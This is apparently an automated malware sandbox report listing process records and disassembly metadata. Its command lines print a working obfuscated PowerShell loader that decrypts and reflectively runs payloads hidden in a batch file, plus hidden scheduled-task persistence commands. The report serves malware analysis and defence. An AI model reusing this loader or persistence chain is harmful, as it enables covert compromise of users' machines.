([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
                                                    Imagebase:0x7ff6e3d50000
                                                    File size:452'608 bytes
                                                    MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Reputation:high
                                                    Has exited:true

                                                    General

                                                    Target ID:6
                                                    Start time:07:10:18
                                                    Start date:22/08/2024
                                                    Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                    Wow64 process (32bit):false
                                                    Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_521_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\startup_str_521.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
                                                    Imagebase:0x7ff6e3d50000
                                                    File size:452'608 bytes
                                                    MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Reputation:high
                                                    Has exited:true

                                                    General

                                                    Target ID:7
                                                    Start time:07:10:18
                                                    Start date:22/08/2024
                                                    Path:C:\Windows\System32\conhost.exe
                                                    Wow64 process (32bit):false
                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                    Imagebase:0x7ff66e660000
                                                    File size:862'208 bytes
                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Reputation:high
                                                    Has exited:true

                                                    General

                                                    Target ID:8
                                                    Start time:07:10:22
                                                    Start date:22/08/2024
                                                    Path:C:\Windows\System32\wscript.exe
                                                    Wow64 process (32bit):false
                                                    Commandline:C:\Windows\System32\WScript.exe "C:\Users\user\AppData\Roaming\startup_str_521.vbs"
                                                    Imagebase:0x7ff76caa0000
                                                    File size:170'496 bytes
                                                    MD5 hash:A47CBE969EA935BDD3AB568BB126BC80
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Reputation:high
                                                    Has exited:true

                                                    General

                                                    Target ID:12
                                                    Start time:07:10:25
                                                    Start date:22/08/2024
                                                    Path:C:\Windows\System32\wscript.exe
                                                    Wow64 process (32bit):false
                                                    Commandline:"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\startup_str_521.vbs"
                                                    Imagebase:0x7ff76caa0000
                                                    File size:170'496 bytes
                                                    MD5 hash:A47CBE969EA935BDD3AB568BB126BC80
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Reputation:high
                                                    Has exited:true

                                                    General

                                                    Target ID:13
                                                    Start time:07:10:26
                                                    Start date:22/08/2024
                                                    Path:C:\Windows\System32\cmd.exe
                                                    Wow64 process (32bit):false
                                                    Commandline:C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\startup_str_521.bat" "
                                                    Imagebase:0x7ff799540000
                                                    File size:289'792 bytes
                                                    MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Reputation:high
                                                    Has exited:false

                                                    General

                                                    Target ID:14
                                                    Start time:07:10:26
                                                    Start date:22/08/2024
                                                    Path:C:\Windows\System32\conhost.exe
                                                    Wow64 process (32bit):false
                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                    Imagebase:0x7ff66e660000
                                                    File size:862'208 bytes
                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Reputation:high
                                                    Has exited:false

                                                    General

                                                    Target ID:15
                                                    Start time:07:10:26
                                                    Start date:22/08/2024
                                                    Path:C:\Windows\System32\net.exe
                                                    Wow64 process (32bit):false
                                                    Commandline:net file
                                                    Imagebase:0x7ff6a84e0000
                                                    File size:59'904 bytes
                                                    MD5 hash:0BD94A338EEA5A4E1F2830AE326E6D19
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Reputation:high
                                                    Has exited:true

                                                    General

                                                    Target ID:16
                                                    Start time:07:10:26
                                                    Start date:22/08/2024
                                                    Path:C:\Windows\System32\net1.exe
                                                    Wow64 process (32bit):false
                                                    Commandline:C:\Windows\system32\net1 file
                                                    Imagebase:0x7ff759600000
                                                    File size:183'808 bytes
                                                    MD5 hash:55693DF2BB3CBE2899DFDDF18B4EB8C9
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Has exited:true

                                                    General

                                                    Target ID:17
                                                    Start time:07:10:27
                                                    Start date:22/08/2024
                                                    Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                    Wow64 process (32bit):false
                                                    Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6VdBmIxfljLUbIX4k/VK2dkoJHwWJjnboCEGaiK9Ksk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AfGVni1E/DgzNaZyr1bq+Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $evPTP=New-Object System.IO.MemoryStream(,$param_var); $Tgngw=New-Object System.IO.MemoryStream; $glxBv=New-Object System.IO.Compression.GZipStream($evPTP, [IO.Compression.CompressionMode]::Decompress); $glxBv.CopyTo($Tgngw); $glxBv.Dispose(); $evPTP.Dispose(); $Tgngw.Dispose(); $Tgngw.ToArray();}function execute_function($param_var,$param2_var){ $RjrbO=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $tvMZN=$RjrbO.EntryPoint; $tvMZN.Invoke($null, $param2_var);}$dxXqn = 'C:\Users\user\AppData\Roaming\startup_str_521.bat';$host.UI.RawUI.WindowTitle = $dxXqn;$qVyct=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($dxXqn).Split([Environment]::NewLine);foreach ($CWzJO in $qVyct) { if ($CWzJO.StartsWith(':: ')) { $xStIY=$CWzJO.Substring(3); break; }}$payloads_var=[string[]]$xStIY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
                                                    Imagebase:0x7ff6e3d50000
                                                    File size:452'608 bytes
                                                    MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Has exited:false

                                                    General

                                                    Target ID:18
                                                    Start time:07:10:35
                                                    Start date:22/08/2024
                                                    Path:C:\Windows\System32\schtasks.exe
                                                    Wow64 process (32bit):false
                                                    Commandline:"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "e45iasd" /tr "C:\Users\user\e45iasd.exe"
                                                    Imagebase:0x7ff7f1110000
                                                    File size:235'008 bytes
                                                    MD5 hash:76CD6626DD8834BD4A42E6A565104DC2
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Has exited:true

                                                    General

                                                    Target ID:19
                                                    Start time:07:10:35
                                                    Start date:22/08/2024
                                                    Path:C:\Windows\System32\conhost.exe
                                                    Wow64 process (32bit):false
                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                    Imagebase:0x7ff66e660000
                                                    File size:862'208 bytes
                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Has exited:true

                                                    General

                                                    Target ID:20
                                                    Start time:07:10:35
                                                    Start date:22/08/2024
                                                    Path:C:\Users\user\e45iasd.exe
                                                    Wow64 process (32bit):false
                                                    Commandline:C:\Users\user\e45iasd.exe
                                                    Imagebase:0x7ff63fc00000
                                                    File size:452'608 bytes
                                                    MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Antivirus matches:
                                                    • Detection: 0%, ReversingLabs
                                                    Has exited:false

                                                    General

                                                    Target ID:21
                                                    Start time:07:10:36
                                                    Start date:22/08/2024
                                                    Path:C:\Windows\System32\conhost.exe
                                                    Wow64 process (32bit):false
                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                    Imagebase:0x7ff66e660000
                                                    File size:862'208 bytes
                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Has exited:false

                                                    General

                                                    Target ID:23
                                                    Start time:07:10:44
                                                    Start date:22/08/2024
                                                    Path:C:\Users\user\e45iasd.exe
                                                    Wow64 process (32bit):false
                                                    Commandline:"C:\Users\user\e45iasd.exe"
                                                    Imagebase:0x7ff63fc00000
                                                    File size:452'608 bytes
                                                    MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                    Has elevated privileges:false
                                                    Has administrator privileges:false
                                                    Programmed in:C, C++ or other language
                                                    Has exited:false

                                                    General

                                                    Target ID:24
                                                    Start time:07:10:44
                                                    Start date:22/08/2024
                                                    Path:C:\Windows\System32\conhost.exe
                                                    Wow64 process (32bit):false
                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                    Imagebase:0x7ff66e660000
                                                    File size:862'208 bytes
                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                    Has elevated privileges:false
                                                    Has administrator privileges:false
                                                    Programmed in:C, C++ or other language
                                                    Has exited:false

                                                    General

                                                    Target ID:25
                                                    Start time:07:10:53
                                                    Start date:22/08/2024
                                                    Path:C:\Users\user\e45iasd.exe
                                                    Wow64 process (32bit):false
                                                    Commandline:"C:\Users\user\e45iasd.exe"
                                                    Imagebase:0x7ff63fc00000
                                                    File size:452'608 bytes
                                                    MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                    Has elevated privileges:false
                                                    Has administrator privileges:false
                                                    Programmed in:C, C++ or other language
                                                    Has exited:false

                                                    General

                                                    Target ID:26
                                                    Start time:07:10:53
                                                    Start date:22/08/2024
                                                    Path:C:\Windows\System32\conhost.exe
                                                    Wow64 process (32bit):false
                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                    Imagebase:0x7ff66e660000
                                                    File size:862'208 bytes
                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                    Has elevated privileges:false
                                                    Has administrator privileges:false
                                                    Programmed in:C, C++ or other language
                                                    Has exited:false

                                                    Disassembly

                                                    Reset < >

                                                      Executed Functions

                                                      Function 00007FFD3456CF86 Relevance: 5.5, Strings: 4, Instructions: 474COMMON
                                                      Download Yara Rule
                                                      Strings
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.2470905360.00007FFD34560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34560000, based on PE: false
                                                      Similarity
                                                      • API ID:
                                                      • String ID: Xz4$RL_H$7CD$7CD
                                                      • API String ID: 0-118995413
                                                      • Opcode ID: 79cf23bf3b9ae2e94c6e083299ca9b737e767b6875c0b345eff3def37a119052
                                                      • Instruction ID: c3bf0dceaefad12de3c0bc25ef3889984fa59d022b5f7be9c36fdc299034638f
                                                      • Opcode Fuzzy Hash: 79cf23bf3b9ae2e94c6e083299ca9b737e767b6875c0b345eff3def37a119052
                                                      • Instruction Fuzzy Hash: F7F1F730F19A895FEB55EB6884A56BD7BE1EF4A310F0405BDD04EE72D3CE2CA8468741
                                                      Function 00007FFD3456D067 Relevance: 5.5, Strings: 4, Instructions: 452COMMON
                                                      Download Yara Rule
                                                      Strings
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.2470905360.00007FFD34560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34560000, based on PE: false
                                                      Similarity
                                                      • API ID:
                                                      • String ID: Xz4$RL_H$7CD$7CD
                                                      • API String ID: 0-118995413
                                                      • Opcode ID: 0c52df3a5ee10fabf73dd7e507553838dcc8a68bab6e459584efd6a4dbc93d49
                                                      • Instruction ID: 7adb53bb511fc52dc68cb8e8d0ea462d53f72ca2a9e7d3bb36431153689b6c62
                                                      • Opcode Fuzzy Hash: 0c52df3a5ee10fabf73dd7e507553838dcc8a68bab6e459584efd6a4dbc93d49
                                                      • Instruction Fuzzy Hash: 47E1E530B1C9895FEB95E76C84656BE77E1EF5A310F0405B9E08EE72D2CE2CA8468740
                                                      Function 00007FFD3456B656 Relevance: .5, Instructions: 476COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.2470905360.00007FFD34560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34560000, based on PE: false
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: becbdec272bf7e011a237489ff7c468d57dfa0b6f5c3a9c55ef9dca35274b07a
                                                      • Instruction ID: 193e9593e8365159f857550d08f2410dac72801a77e08ff2db9ad8e3b759bf48
                                                      • Opcode Fuzzy Hash: becbdec272bf7e011a237489ff7c468d57dfa0b6f5c3a9c55ef9dca35274b07a
                                                      • Instruction Fuzzy Hash: DDF19430A08A4D8FEBA9DF28C8557E977E1FF55310F04426AE84DC7291DB78A9458B82
                                                      Function 00007FFD3456C402 Relevance: .5, Instructions: 462COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.2470905360.00007FFD34560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34560000, based on PE: false
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: f216d3343da807c24f598c7f0ba5e1fac2bb9da7f7d245d5153a98dcf8227902
                                                      • Instruction ID: 5a92849a8b5af08a473e3160a65f00c5b218b8936bc2f973965c1b3cc78bd727
                                                      • Opcode Fuzzy Hash: f216d3343da807c24f598c7f0ba5e1fac2bb9da7f7d245d5153a98dcf8227902
                                                      • Instruction Fuzzy Hash: D1E19230A08A4E8FEBA9DF28C8657E977E1FF55311F14426ED84DC7291DF78A8418B81
                                                      Function 00007FFD34567A80 Relevance: 6.7, Strings: 5, Instructions: 417COMMON
                                                      Download Yara Rule
                                                      Strings
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.2470905360.00007FFD34560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34560000, based on PE: false
                                                      Similarity
                                                      • API ID:
                                                      • String ID: PZz4$`Zz4$hIz4$hZz4$p7CD
                                                      • API String ID: 0-3704246760
                                                      • Opcode ID: a975fb5116ac974cbe35f1b08ff568e6d578621c5f30ba96ebf252a5a18e0d64
                                                      • Instruction ID: 88a42cd486e2a47f7aa2a1954d4001f0c062019bc7e550764eda6df5b701b6c5
                                                      • Opcode Fuzzy Hash: a975fb5116ac974cbe35f1b08ff568e6d578621c5f30ba96ebf252a5a18e0d64
                                                      • Instruction Fuzzy Hash: 61414621B0EAC51FD746DB6C98A16A57FE1EF46214B1801BFE088D7293C91DE806C382
                                                      Function 00007FFD3456D6B9 Relevance: 6.5, Strings: 5, Instructions: 266COMMON
                                                      Download Yara Rule
                                                      Strings
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.2470905360.00007FFD34560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34560000, based on PE: false
                                                      Similarity
                                                      • API ID:
                                                      • String ID: 8CD$(8CD$H8CD$X8CD$7CD
                                                      • API String ID: 0-1087230096
                                                      • Opcode ID: c340f0a577cc41ee331e72d1baccd3f4f3086e8d0cc7512b2f1c9814c024f186
                                                      • Instruction ID: e918c3ab3be689c4c0bf307a86bcf0b8ee45d24c6507b2bc06f2f064e3495907
                                                      • Opcode Fuzzy Hash: c340f0a577cc41ee331e72d1baccd3f4f3086e8d0cc7512b2f1c9814c024f186
                                                      • Instruction Fuzzy Hash: 9C81E821B0EAC52FE75AA7B848766BA7FD1DF4B211B0805FEE08AD71D3DC1D68168341
                                                      Function 00007FFD346375A5 Relevance: 5.1, Strings: 3, Instructions: 1308COMMON
                                                      Download Yara Rule
                                                      Strings
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.2471776207.00007FFD34630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34630000, based on PE: false
                                                      Similarity
                                                      • API ID:
                                                      • String ID: hz4$hz4$h7CD
                                                      • API String ID: 0-2760029575
                                                      • Opcode ID: 55699014a890e850264053dd80d41db1b91cfc2b370994b1df92cd89f25a233c
                                                      • Instruction ID: 68310a948fe615836bcca6ead7426d15e23c0066de909468f36089dd9bfe4331
                                                      • Opcode Fuzzy Hash: 55699014a890e850264053dd80d41db1b91cfc2b370994b1df92cd89f25a233c
                                                      • Instruction Fuzzy Hash: 7ED15522B0DBD60FE7AA9B2C58B51B53BE1EF57221B0841FBD189C71A3DD1DAC029741
                                                      Function 00007FFD34636D6D Relevance: 3.1, Strings: 2, Instructions: 553COMMON
                                                      Download Yara Rule
                                                      Strings
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.2471776207.00007FFD34630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34630000, based on PE: false
                                                      Similarity
                                                      • API ID:
                                                      • String ID: `7CD$m
                                                      • API String ID: 0-2532238563
                                                      • Opcode ID: a5814095d6ced699a2c3193aae025abc790f43bd2bed7ff0d0af98526665bdd9
                                                      • Instruction ID: f451b9dfe9329e51afe54d5721dca85d0ec20f43a75adb1959406bd62d88afce
                                                      • Opcode Fuzzy Hash: a5814095d6ced699a2c3193aae025abc790f43bd2bed7ff0d0af98526665bdd9
                                                      • Instruction Fuzzy Hash: 0EF12571A0D7D54FD7A69B2898B51F47FE1EF57220B0942FFD089C71B3CA18A8068792
                                                      Function 00007FFD3456CB60 Relevance: 1.3, Strings: 1, Instructions: 95COMMON
                                                      Download Yara Rule
                                                      Strings
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.2470905360.00007FFD34560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34560000, based on PE: false
                                                      Similarity
                                                      • API ID:
                                                      • String ID: x7CD
                                                      • API String ID: 0-68042037
                                                      • Opcode ID: 75d9c0c303198dcd4e33cf5e8c7451cb7678ec251dca4b57605c4103fd6e5bd0
                                                      • Instruction ID: 8a70179575d2d71b56e989fc0aea1928bce4678c0906be1fdb944c7c511a46ee
                                                      • Opcode Fuzzy Hash: 75d9c0c303198dcd4e33cf5e8c7451cb7678ec251dca4b57605c4103fd6e5bd0
                                                      • Instruction Fuzzy Hash: 4631F060D0D7CA5FE72797B8586A1A57FE0EF17320B0901EED89DCB0A3EA5C1809C352
                                                      Function 00007FFD3456C016 Relevance: .3, Instructions: 335COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.2470905360.00007FFD34560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34560000, based on PE: false
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: c6af84d398dd7c79ddbad3bdfa5f7c5a0a48bd4c78e395e631963ddfe405ccc8
                                                      • Instruction ID: 42f4720308ab0354a6b3cc060a204a14c27cb113d3f5527fcf135d90d4978506
                                                      • Opcode Fuzzy Hash: c6af84d398dd7c79ddbad3bdfa5f7c5a0a48bd4c78e395e631963ddfe405ccc8
                                                      • Instruction Fuzzy Hash: 0DB1A830A0CA4D4FEB69DF28C8557E93BD1EF59310F14426EE84DC7292CA78A945CB82
                                                      Function 00007FFD3456BB14 Relevance: .1, Instructions: 92COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.2470905360.00007FFD34560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34560000, based on PE: false
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: f6decbaa574643f2bf5832b3d2b7004cde1bc543ba5602463410491900b44d63
                                                      • Instruction ID: 6a4fb18468296d97f1b6a03dbcbba8145ea9c211c577a7eee956feb29c87b0c1
                                                      • Opcode Fuzzy Hash: f6decbaa574643f2bf5832b3d2b7004cde1bc543ba5602463410491900b44d63
                                                      • Instruction Fuzzy Hash: F3312F30E1865E8EFBB5EF14CCAABF93294FF42325F401139D50DC60A6CA7C6A45DA01
                                                      Function 00007FFD34631538 Relevance: .1, Instructions: 82COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.2471776207.00007FFD34630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34630000, based on PE: false
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 5bef8cdff5b818bbb9f436066b720fe0a9a2d2e44f3631b08612fb7b85989b3b
                                                      • Instruction ID: 04a9eb399ca6fb8d2a4a405e529e4576d4117825aa5970ff6c4a2783e09cb132
                                                      • Opcode Fuzzy Hash: 5bef8cdff5b818bbb9f436066b720fe0a9a2d2e44f3631b08612fb7b85989b3b
                                                      • Instruction Fuzzy Hash: 15219F71B0DA594FDBA9EF1C94A55F976E1FF99320B14027EE04ED32A2DE28EC018740
                                                      Function 00007FFD3456D86F Relevance: .0, Instructions: 49COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.2470905360.00007FFD34560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34560000, based on PE: false
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: eac2f4a2a605f75f1cef97eb7e00015e563020b06dd8f5a75eea6e1e0e444cfa
                                                      • Instruction ID: bd81f83d2ac9d34d0728e6c1f5d03c8ace1e84a6044dfee8788e559b066b30ef
                                                      • Opcode Fuzzy Hash: eac2f4a2a605f75f1cef97eb7e00015e563020b06dd8f5a75eea6e1e0e444cfa
                                                      • Instruction Fuzzy Hash: D401A221B1CA024AE72D67B8A4222B962C1EF89310F20187DE18FD32C7DD2DA8024245
                                                      Function 00007FFD34564EF5 Relevance: .0, Instructions: 49COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.2470905360.00007FFD34560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34560000, based on PE: false
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: d028926350240131fad47a516d852f4340b90a6f95e3a73e4f77cd65169027f1
                                                      • Instruction ID: aaabf7e258497a7cdd2f7257928fb46d89657e25d22357e6d2e9c2da3d937d35
                                                      • Opcode Fuzzy Hash: d028926350240131fad47a516d852f4340b90a6f95e3a73e4f77cd65169027f1
                                                      • Instruction Fuzzy Hash: 1D01447121CB084FD748EF4CE451AA5B7E0FB95364F10056DE58AC3655D726E881CB45
                                                      Function 00007FFD3463120C Relevance: .0, Instructions: 46COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.2471776207.00007FFD34630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34630000, based on PE: false
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 15c252a4286555ae64c9aea1b5d1042c24dd7bade92c624e8dbc19e2bb12ad97
                                                      • Instruction ID: efef15d94698b6864a0233feea66f0cbca3f8378bcf01a09ccec2a95c8ee7e40
                                                      • Opcode Fuzzy Hash: 15c252a4286555ae64c9aea1b5d1042c24dd7bade92c624e8dbc19e2bb12ad97
                                                      • Instruction Fuzzy Hash: 8FF0C222F0DEAA0AE7E9DA5C24B51F891C2DF8972174801BAD60DC31A6ED09AC515280
                                                      Function 00007FFD3463695D Relevance: .0, Instructions: 31COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.2471776207.00007FFD34630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34630000, based on PE: false
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 108f8688989cf68c7fb82518269e95d151762eb77ee0f5ff89675cc875125e7b
                                                      • Instruction ID: 040d3617230e38d1e489f5dba310de6ebfa3a6b8f4971b6b377b607437d2d34f
                                                      • Opcode Fuzzy Hash: 108f8688989cf68c7fb82518269e95d151762eb77ee0f5ff89675cc875125e7b
                                                      • Instruction Fuzzy Hash: BBE04F33F0D96B0EF3F5AA5C38651F492C1DF96A35B4501B3DA0DD31B2EC09AC650291
                                                      Function 00007FFD34632608 Relevance: .0, Instructions: 30COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.2471776207.00007FFD34630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34630000, based on PE: false
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 94f77c703bb9b90fd89055b4be82ab6cb586d3f8e036094c58473c2219c144ca
                                                      • Instruction ID: 0e78ef906385fd1fcaff46b8047c1fd2345bfc7a230bc77e2f18dd53236e7f1f
                                                      • Opcode Fuzzy Hash: 94f77c703bb9b90fd89055b4be82ab6cb586d3f8e036094c58473c2219c144ca
                                                      • Instruction Fuzzy Hash: A2E0D823F0D9A90FE7A5A69C387D1F47281EF5A721B080177EA1ED31A1DC089C1053D1
                                                      Function 00007FFD3456CC21 Relevance: .0, Instructions: 27COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.2470905360.00007FFD34560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34560000, based on PE: false
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 25670585d0c8751af875048e9548bdf853d9c949b74f30aec782e761b56edad7
                                                      • Instruction ID: 734690c72c828cb1383af24a0aed9fb9c9c0e3f0d697dddeeb84e800e3788953
                                                      • Opcode Fuzzy Hash: 25670585d0c8751af875048e9548bdf853d9c949b74f30aec782e761b56edad7
                                                      • Instruction Fuzzy Hash: 64D02B22C2C5550FCB2D5B78285A1A43BA0D72623074B02EFE804D71D3F54C9C45C3D0
                                                      Function 00007FFD3456DA0B Relevance: .0, Instructions: 22COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.2470905360.00007FFD34560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34560000, based on PE: false
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: fd7327b881328bd62b05133be4c28a8505ba3b284a9e20e9a23b635a6edf288a
                                                      • Instruction ID: 61302e0e36e18c53f50b922cb3594313ab408165854ed4b9faa0fa129c0b4f28
                                                      • Opcode Fuzzy Hash: fd7327b881328bd62b05133be4c28a8505ba3b284a9e20e9a23b635a6edf288a
                                                      • Instruction Fuzzy Hash: DFD05E23F8E59606F15A20583C630B87380DB821347182A7AD2A5954C79C4F28921182

                                                      Executed Functions

                                                      Function 00007FFD3442EB80 Relevance: 1.4, Strings: 1, Instructions: 126COMMON
                                                      Download Yara Rule
                                                      Strings
                                                      Memory Dump Source
                                                      • Source File: 00000006.00000002.2335339966.00007FFD3442D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD3442D000, based on PE: false
                                                      Similarity
                                                      • API ID:
                                                      • String ID: QaU5
                                                      • API String ID: 0-2325707774
                                                      • Opcode ID: 63a7a3d0f60cb155f10f2d31f89c3661db58a8b5d7cd0bceccad99e3b6bcbacd
                                                      • Instruction ID: 9061bf11eaa0a7b88abec2703ce9ad773ff8cf089960d574f3c03ed79f33e7b8
                                                      • Opcode Fuzzy Hash: 63a7a3d0f60cb155f10f2d31f89c3661db58a8b5d7cd0bceccad99e3b6bcbacd
                                                      • Instruction Fuzzy Hash: 9241563180DBC44FE756CB2998A19523FF0EF57324B2605EFD089CB1A7D629A806C792
                                                      Function 00007FFD3454AB85 Relevance: .1, Instructions: 128COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000006.00000002.2335924026.00007FFD34540000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34540000, based on PE: false
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: b1a48c9f4dd187da673c8bb9a392a044f59d4b2cab021ba999d3543e986b4ff1
                                                      • Instruction ID: 19a11478c96339ca7a92df5158410ff4c31339105a9a7e8fbc789c96beb476f0
